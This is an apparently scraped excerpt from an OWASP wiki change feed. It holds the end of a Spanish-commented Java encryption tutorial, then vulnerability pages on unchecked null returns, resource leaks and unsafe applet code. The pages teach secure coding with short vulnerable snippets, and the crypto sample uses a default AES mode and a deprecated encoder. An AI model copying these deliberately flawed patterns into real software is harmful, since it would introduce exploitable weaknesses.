             }&lt;br /&gt;
	// 10. Validar si la síntesis del mensaje del texto coincide con el mensaje descifrado &lt;br /&gt;
   Digest of the Original Message&lt;br /&gt;
&lt;br /&gt;
	if (!strHashOfRecvSignedData.equals(strHashOfData))&lt;br /&gt;
	{&lt;br /&gt;
		System.out.println(&amp;quot; Message has been tampered &amp;quot;);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	catch(Exception exp)&lt;br /&gt;
	{&lt;br /&gt;
		System.out.println(&amp;quot; Exception caught &amp;quot; + exp);&lt;br /&gt;
		exp.printStackTrace();&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
==== SymmetricEncrypt.java  ====&lt;br /&gt;
&amp;lt;pre&amp;gt;package org.owasp.crypto;&lt;br /&gt;
&lt;br /&gt;
import javax.crypto.KeyGenerator;&lt;br /&gt;
import javax.crypto.SecretKey;&lt;br /&gt;
import javax.crypto.Cipher;&lt;br /&gt;
import java.security.Key;&lt;br /&gt;
&lt;br /&gt;
import java.security.NoSuchAlgorithmException;&lt;br /&gt;
import java.security.InvalidKeyException;&lt;br /&gt;
import java.security.InvalidAlgorithmParameterException;&lt;br /&gt;
import javax.crypto.NoSuchPaddingException;&lt;br /&gt;
import javax.crypto.BadPaddingException;&lt;br /&gt;
import javax.crypto.IllegalBlockSizeException;&lt;br /&gt;
&lt;br /&gt;
import sun.misc.BASE64Encoder;&lt;br /&gt;
&lt;br /&gt;
/**&lt;br /&gt;
 * @author Joe Prasanna Kumar&lt;br /&gt;
 * Este programa ofrece las funcionalidades criptográficas siguientes&lt;br /&gt;
 * 1. Cifrado con AES&lt;br /&gt;
 * 2. El descifrado con AES&lt;br /&gt;
 *&lt;br /&gt;
 * Algoritmo de alto nivel:&lt;br /&gt;
 * 1. Generar una clave DES (especificar el tamaño de la clave durante esta fase)&lt;br /&gt;
 * 2. Cree el Cipher&lt;br /&gt;
 * 3. Para cifrar: Inicializar el cifrado para el cifrado&lt;br /&gt;
 * 4. Para descifrar: Inicializar el cifrado para descifrar&lt;br /&gt;
 * &lt;br /&gt;
 * &lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
public class SymmetricEncrypt {&lt;br /&gt;
			&lt;br /&gt;
		String strDataToEncrypt = new String();&lt;br /&gt;
		String strCipherText = new String();&lt;br /&gt;
		String strDecryptedText = new String();&lt;br /&gt;
		static KeyGenerator keyGen;&lt;br /&gt;
		private static String strHexVal = &amp;quot;0123456789abcdef&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
		public static SecretKey getSecret(){&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Paso 1. Generación de una clave AES mediante keygenerator &lt;br /&gt;
		 *  		Inicializa el tamaño de clave de 128&lt;br /&gt;
		 * &lt;br /&gt;
		 */&lt;br /&gt;
			&lt;br /&gt;
			try{&lt;br /&gt;
				keyGen = KeyGenerator.getInstance(&amp;quot;AES&amp;quot;);&lt;br /&gt;
				keyGen.init(128);&lt;br /&gt;
&lt;br /&gt;
				}&lt;br /&gt;
					&lt;br /&gt;
			catch(Exception exp)&lt;br /&gt;
			{&lt;br /&gt;
				System.out.println(&amp;quot; Exception inside constructor &amp;quot; +exp);&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			SecretKey secretKey = keyGen.generateKey();&lt;br /&gt;
			return secretKey;&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Paso 2. Crear un sistema de cifrado mediante la especificación de los siguientes parámetros &lt;br /&gt;
		 * 			a. Nombre del algoritmo - aquí es AES &lt;br /&gt;
		 */&lt;br /&gt;
		&lt;br /&gt;
		&lt;br /&gt;
		public byte[] encryptData(byte[] byteDataToEncrypt, Key secretKey, String Algorithm) {&lt;br /&gt;
			byte[] byteCipherText = new byte[200];&lt;br /&gt;
			&lt;br /&gt;
			try {&lt;br /&gt;
			Cipher aesCipher = Cipher.getInstance(Algorithm);&lt;br /&gt;
		&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Paso 3. Inicialice el cifrado para el cifrado &lt;br /&gt;
		 */&lt;br /&gt;
			if(Algorithm.equals(&amp;quot;AES&amp;quot;)){&lt;br /&gt;
				aesCipher.init(Cipher.ENCRYPT_MODE,secretKey,aesCipher.getParameters());&lt;br /&gt;
				}&lt;br /&gt;
				else if(Algorithm.equals(&amp;quot;RSA/ECB/PKCS1Padding&amp;quot;)){&lt;br /&gt;
				aesCipher.init(Cipher.ENCRYPT_MODE,secretKey);&lt;br /&gt;
				} &lt;br /&gt;
				&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Paso 4. Cifrar los datos&lt;br /&gt;
		 *  		1. Declarar / inicializar los datos. Aquí los datos son de tipo String &lt;br /&gt;
		 *  		2. Convertir el texto de entrada a Bytes&lt;br /&gt;
		 *  		3. Cifrado de los bytes, utilizando el método doFinal&lt;br /&gt;
		 */&lt;br /&gt;
		byteCipherText = aesCipher.doFinal(byteDataToEncrypt); &lt;br /&gt;
		strCipherText = new BASE64Encoder().encode(byteCipherText);&lt;br /&gt;
&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
			catch (NoSuchAlgorithmException noSuchAlgo)&lt;br /&gt;
			{&lt;br /&gt;
				System.out.println(&amp;quot; No Such Algorithm exists &amp;quot; + noSuchAlgo);&lt;br /&gt;
			}&lt;br /&gt;
			&lt;br /&gt;
				catch (NoSuchPaddingException noSuchPad)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; No Such Padding exists &amp;quot; + noSuchPad);&lt;br /&gt;
				}&lt;br /&gt;
			&lt;br /&gt;
					catch (InvalidKeyException invalidKey)&lt;br /&gt;
					{&lt;br /&gt;
						System.out.println(&amp;quot; Invalid Key &amp;quot; + invalidKey);&lt;br /&gt;
					}&lt;br /&gt;
					&lt;br /&gt;
					catch (BadPaddingException badPadding)&lt;br /&gt;
					{&lt;br /&gt;
						System.out.println(&amp;quot; Bad Padding &amp;quot; + badPadding);&lt;br /&gt;
					}&lt;br /&gt;
					&lt;br /&gt;
					catch (IllegalBlockSizeException illegalBlockSize)&lt;br /&gt;
					{&lt;br /&gt;
						System.out.println(&amp;quot; Illegal Block Size &amp;quot; + illegalBlockSize);&lt;br /&gt;
						illegalBlockSize.printStackTrace();&lt;br /&gt;
					}&lt;br /&gt;
					catch (Exception exp)&lt;br /&gt;
					{&lt;br /&gt;
						exp.printStackTrace();&lt;br /&gt;
					}&lt;br /&gt;
					&lt;br /&gt;
		return byteCipherText;&lt;br /&gt;
		}&lt;br /&gt;
		/**&lt;br /&gt;
		 *  Paso 5. Descifrar los datos&lt;br /&gt;
		 *  		1. Inicialice el cifrado para descifrar &lt;br /&gt;
		 *  		2. Descifrar los bytes cifrados utilizando el método doFinal &lt;br /&gt;
		 */&lt;br /&gt;
		&lt;br /&gt;
		public byte[] decryptData(byte[] byteCipherText, Key secretKey, String Algorithm) {&lt;br /&gt;
			byte[] byteDecryptedText = new byte[200];&lt;br /&gt;
						&lt;br /&gt;
			try{	&lt;br /&gt;
		Cipher aesCipher = Cipher.getInstance(Algorithm);&lt;br /&gt;
		if(Algorithm.equals(&amp;quot;AES&amp;quot;)){&lt;br /&gt;
		aesCipher.init(Cipher.DECRYPT_MODE,secretKey,aesCipher.getParameters());&lt;br /&gt;
		}&lt;br /&gt;
		else if(Algorithm.equals(&amp;quot;RSA/ECB/PKCS1Padding&amp;quot;)){&lt;br /&gt;
		aesCipher.init(Cipher.DECRYPT_MODE,secretKey);&lt;br /&gt;
		} &lt;br /&gt;
		&lt;br /&gt;
		byteDecryptedText = aesCipher.doFinal(byteCipherText);&lt;br /&gt;
		strDecryptedText = new String(byteDecryptedText);&lt;br /&gt;
			}&lt;br /&gt;
		&lt;br /&gt;
		catch (NoSuchAlgorithmException noSuchAlgo)&lt;br /&gt;
		{&lt;br /&gt;
			System.out.println(&amp;quot; No Such Algorithm exists &amp;quot; + noSuchAlgo);&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
			catch (NoSuchPaddingException noSuchPad)&lt;br /&gt;
			{&lt;br /&gt;
				System.out.println(&amp;quot; No Such Padding exists &amp;quot; + noSuchPad);&lt;br /&gt;
			}&lt;br /&gt;
		&lt;br /&gt;
				catch (InvalidKeyException invalidKey)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Invalid Key &amp;quot; + invalidKey);&lt;br /&gt;
					invalidKey.printStackTrace();&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (BadPaddingException badPadding)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Bad Padding &amp;quot; + badPadding);&lt;br /&gt;
					badPadding.printStackTrace();&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (IllegalBlockSizeException illegalBlockSize)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Illegal Block Size &amp;quot; + illegalBlockSize);&lt;br /&gt;
					illegalBlockSize.printStackTrace();&lt;br /&gt;
				}&lt;br /&gt;
				&lt;br /&gt;
				catch (InvalidAlgorithmParameterException invalidParam)&lt;br /&gt;
				{&lt;br /&gt;
					System.out.println(&amp;quot; Invalid Parameter &amp;quot; + invalidParam);&lt;br /&gt;
				}&lt;br /&gt;
	&lt;br /&gt;
		return byteDecryptedText;&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
		&lt;br /&gt;
		public static byte[] convertStringToByteArray(String strInput) {&lt;br /&gt;
			strInput = strInput.toLowerCase();&lt;br /&gt;
			byte[] byteConverted = new byte[(strInput.length() + 1) / 2];&lt;br /&gt;
			int j = 0;&lt;br /&gt;
			int interimVal;&lt;br /&gt;
			int nibble = -1;&lt;br /&gt;
&lt;br /&gt;
			for (int i = 0; i &amp;amp;lt; strInput.length(); ++i) {&lt;br /&gt;
				interimVal = strHexVal.indexOf(strInput.charAt(i));&lt;br /&gt;
				if (interimVal &amp;amp;gt;= 0) {&lt;br /&gt;
					if (nibble &amp;amp;lt; 0) {&lt;br /&gt;
						nibble = interimVal;&lt;br /&gt;
					} else {&lt;br /&gt;
						byteConverted[j++] = (byte) ((nibble &amp;amp;lt;&amp;amp;lt; 4) + interimVal);&lt;br /&gt;
						nibble = -1;&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			if (nibble &amp;amp;gt;= 0) {&lt;br /&gt;
				byteConverted[j++] = (byte) (nibble &amp;amp;lt;&amp;amp;lt; 4);&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			if (j &amp;amp;lt; byteConverted.length) {&lt;br /&gt;
				byte[] byteTemp = new byte[j];&lt;br /&gt;
				System.arraycopy(byteConverted, 0, byteTemp, 0, j);&lt;br /&gt;
				byteConverted = byteTemp;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			return byteConverted;&lt;br /&gt;
		}&lt;br /&gt;
		&lt;br /&gt;
		public static String convertByteArrayToString(byte[] block) {&lt;br /&gt;
			StringBuffer buf = new StringBuffer();&lt;br /&gt;
&lt;br /&gt;
			for (int i = 0; i &amp;amp;lt; block.length; ++i) {&lt;br /&gt;
				buf.append(strHexVal.charAt((block[i] &amp;amp;gt;&amp;amp;gt;&amp;amp;gt; 4) &amp;amp;amp; 0xf));&lt;br /&gt;
				buf.append(strHexVal.charAt(block[i] &amp;amp;amp; 0xf));&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			return buf.toString();&lt;br /&gt;
		}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
== References  ==&lt;br /&gt;
&lt;br /&gt;
#Computer Security Arts and Science – Matt Bishop &lt;br /&gt;
#Core Security Patterns – Christopher Steele, Ray Lai and Ramesh Nagappan&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Aplicaciones en Ambientes Libres'''&lt;br /&gt;
&lt;br /&gt;
 '''Tutor:'''  Ing. Tito Armas&lt;br /&gt;
&lt;br /&gt;
 '''Traductoroas:''' Bravo Maria Jose y Portilla Maria Fernanda 2012&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Unchecked_Return_Value:_Missing_Check_against_Null&amp;diff=235300</id>
		<title>Unchecked Return Value: Missing Check against Null</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Unchecked_Return_Value:_Missing_Check_against_Null&amp;diff=235300"/>
				<updated>2017-11-10T21:52:04Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Ignoring a method's return value can cause the program to overlook unexpected states and conditions.&lt;br /&gt;
&lt;br /&gt;
Just about every serious attack on a software system begins with the violation of a programmer's assumptions. After the attack, the programmer's assumptions seem flimsy and poorly founded, but before an attack many programmers would defend their assumptions well past the end of their lunch break.&lt;br /&gt;
&lt;br /&gt;
Two dubious assumptions that are easy to spot in code are &amp;quot;this function call can never fail&amp;quot; and &amp;quot;it doesn't matter if this function call fails&amp;quot;. When a programmer ignores the return value from a function, they implicitly state that they are operating under one of these assumptions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a null dereference.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	String itemName = request.getParameter(ITEM_NAME);&lt;br /&gt;
	if (itemName.compareTo(IMPORTANT_ITEM)) {&lt;br /&gt;
		...&lt;br /&gt;
	}&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The traditional defense of this coding error is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;I know the requested value will always exist because ... If it does not exist, the program&lt;br /&gt;
cannot perform the desired behavior so it doesn't matter whether I handle the error or simply &lt;br /&gt;
allow the program to die dereferencing a null value.&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Ignored function return value]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
[[Category:Input Validation Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Unreleased_Resource&amp;diff=235299</id>
		<title>Unreleased Resource</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Unreleased_Resource&amp;diff=235299"/>
				<updated>2017-11-10T21:51:51Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
The program can potentially fail to release a system resource.&lt;br /&gt;
&lt;br /&gt;
Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.&lt;br /&gt;
&lt;br /&gt;
Resource leaks have at least two common causes:&lt;br /&gt;
&lt;br /&gt;
* Error conditions and other exceptional circumstances. &lt;br /&gt;
* Confusion over which part of the program is responsible for releasing the resource. &lt;br /&gt;
&lt;br /&gt;
= Risk Factors =&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen&lt;br /&gt;
* Discuss the technical impact of a successful exploit of this vulnerability&lt;br /&gt;
* Consider the likely [business impacts] of a successful attack&lt;br /&gt;
&lt;br /&gt;
= Examples =&lt;br /&gt;
&lt;br /&gt;
==Example 1==&lt;br /&gt;
&lt;br /&gt;
The following Java method never closes the file handle it opens. The finalize() method for FileInputStream eventually calls close(), but there is no guarantee as to how long it will take before the finalize() method will be invoked. In a busy environment, this can result in the JVM using up all of its file handles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	private void processFile(String fName) throws FileNotFoundException, IOException&lt;br /&gt;
	{&lt;br /&gt;
	  FileInputStream fis = new FileInputStream(fName);&lt;br /&gt;
	  int sz;&lt;br /&gt;
	  byte[] byteArray = new byte[BLOCK_SIZE];&lt;br /&gt;
	  while ((sz = fis.read(byteArray)) != -1) {&lt;br /&gt;
		processBytes(byteArray, sz);&lt;br /&gt;
	  }&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2 ==&lt;br /&gt;
&lt;br /&gt;
Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	SqlConnection conn = new SqlConnection(connString);&lt;br /&gt;
	SqlCommand cmd = new SqlCommand(queryString);&lt;br /&gt;
	cmd.Connection = conn;&lt;br /&gt;
	conn.Open();&lt;br /&gt;
	SqlDataReader rdr = cmd.ExecuteReader();&lt;br /&gt;
	HarvestResults(rdr); &lt;br /&gt;
	conn.Connection.Close();&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 3 ==&lt;br /&gt;
The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	int decodeFile(char* fName)&lt;br /&gt;
	{&lt;br /&gt;
		char buf[BUF_SZ];&lt;br /&gt;
		FILE* f = fopen(fName, &amp;quot;r&amp;quot;);&lt;br /&gt;
		&lt;br /&gt;
		if (!f) {&lt;br /&gt;
			printf(&amp;quot;cannot open %s\n&amp;quot;, fName);&lt;br /&gt;
			return DECODE_FAIL;&lt;br /&gt;
		} else {&lt;br /&gt;
			while (fgets(buf, BUF_SZ, f)) {&lt;br /&gt;
				if (!checkChecksum(buf)) {&lt;br /&gt;
				  return DECODE_FAIL;&lt;br /&gt;
				} else {&lt;br /&gt;
				  decodeBlock(buf);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		fclose(f);&lt;br /&gt;
		return DECODE_SUCCESS;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Unsafe_Mobile_Code&amp;diff=235298</id>
		<title>Unsafe Mobile Code</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Unsafe_Mobile_Code&amp;diff=235298"/>
				<updated>2017-11-10T21:51:39Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Access Violation===&lt;br /&gt;
The program violates secure coding principles for mobile code by returning a private array variable from a public access method.&lt;br /&gt;
&lt;br /&gt;
Returning a private array variable from a public access method allows the calling code to modify the contents of the array, effectively giving the array public access and contradicting the intentions of the programmer who made it private.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
The following Java Applet code mistakenly returns a private array variable from a public access method.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public final class urlTool extends Applet {&lt;br /&gt;
		private URL[] urls;&lt;br /&gt;
		public URL[] getURLs() {&lt;br /&gt;
			return urls;&lt;br /&gt;
		}&lt;br /&gt;
			...&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
.&lt;br /&gt;
&lt;br /&gt;
===Dangerous Array Declaration===&lt;br /&gt;
The program violates secure coding principles for mobile code by declaring an array public, final, and static.&lt;br /&gt;
&lt;br /&gt;
In most cases an array declared public, final, and static is a bug. Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. In most situations the array should be made private.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
The following Java Applet code mistakenly declares an array public, final, and static.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public final class urlTool extends Applet {&lt;br /&gt;
		public final static URL[] urls;&lt;br /&gt;
		...&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Dangerous Public Field===&lt;br /&gt;
The program violates secure coding principles for mobile code by declaring a member variable public but not final.&lt;br /&gt;
&lt;br /&gt;
All public member variables in an Applet and in classes used by an Applet should be declared final to prevent an attacker from manipulating or gaining unauthorized access to the internal state of the Applet.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
The following Java Applet code mistakenly declares a member variable public but not final.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public final class urlTool extends Applet {&lt;br /&gt;
		public URL url;&lt;br /&gt;
		...&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Inner Class===&lt;br /&gt;
The program violates secure coding principles for mobile code by making use of an inner class.&lt;br /&gt;
&lt;br /&gt;
Inner classes quietly introduce several security concerns because of the way they are translated into Java bytecode. In Java source code, it appears that an inner class can be declared to be accessible only by the enclosing class, but Java bytecode has no concept of an inner class, so the compiler must transform an inner class declaration into a peer class with package level access to the original outer class. More insidiously, since an inner class can access private fields in their enclosing class, once an inner class becomes a peer class in bytecode, the compiler converts private fields accessed by the inner class into protected fields.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
The following Java Applet code mistakenly makes use of an inner class.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public final class urlTool extends Applet {&lt;br /&gt;
		private final class urlHelper {&lt;br /&gt;
			...&lt;br /&gt;
		}&lt;br /&gt;
		...&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Public finalize() Method===&lt;br /&gt;
The program violates secure coding principles for mobile code by declaring a finalize()method public.&lt;br /&gt;
&lt;br /&gt;
A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finialize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access. If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.&lt;br /&gt;
&lt;br /&gt;
'''Example'''&lt;br /&gt;
&lt;br /&gt;
The following Java Applet code mistakenly declares a public finalize() method.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	public final class urlTool extends Applet {&lt;br /&gt;
		public void finalize() {&lt;br /&gt;
			...&lt;br /&gt;
		}&lt;br /&gt;
		...&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
* Talk about the [[OWASP Risk Rating Methodology|factors]] that make this vulnerability likely or unlikely to actually happen&lt;br /&gt;
* Discuss the technical impact of a successful exploit of this vulnerability&lt;br /&gt;
* Consider the likely [business impacts] of a successful attack&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[Use encapsulation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Code Quality Vulnerability]]&lt;br /&gt;
[[Category:Authentication Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Implementation]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Unsafe_use_of_Reflection&amp;diff=235297</id>
		<title>Unsafe use of Reflection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Unsafe_use_of_Reflection&amp;diff=235297"/>
				<updated>2017-11-10T21:51:24Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
&amp;lt;!-- advertising removed:  {{Template:Fortify}}  --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''2016-06-29''' &amp;lt;small&amp;gt;(please ''view source'')&amp;lt;/small&amp;gt;&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
    Last revision hardcoded to 02/20/2009 on 04/Nov/2014 because:&lt;br /&gt;
    page source formally changed (category) but no content changed, which is still the same&lt;br /&gt;
&lt;br /&gt;
    Please remove this comment and enable below &amp;quot;Last revision&amp;quot; when page content changes.&lt;br /&gt;
&lt;br /&gt;
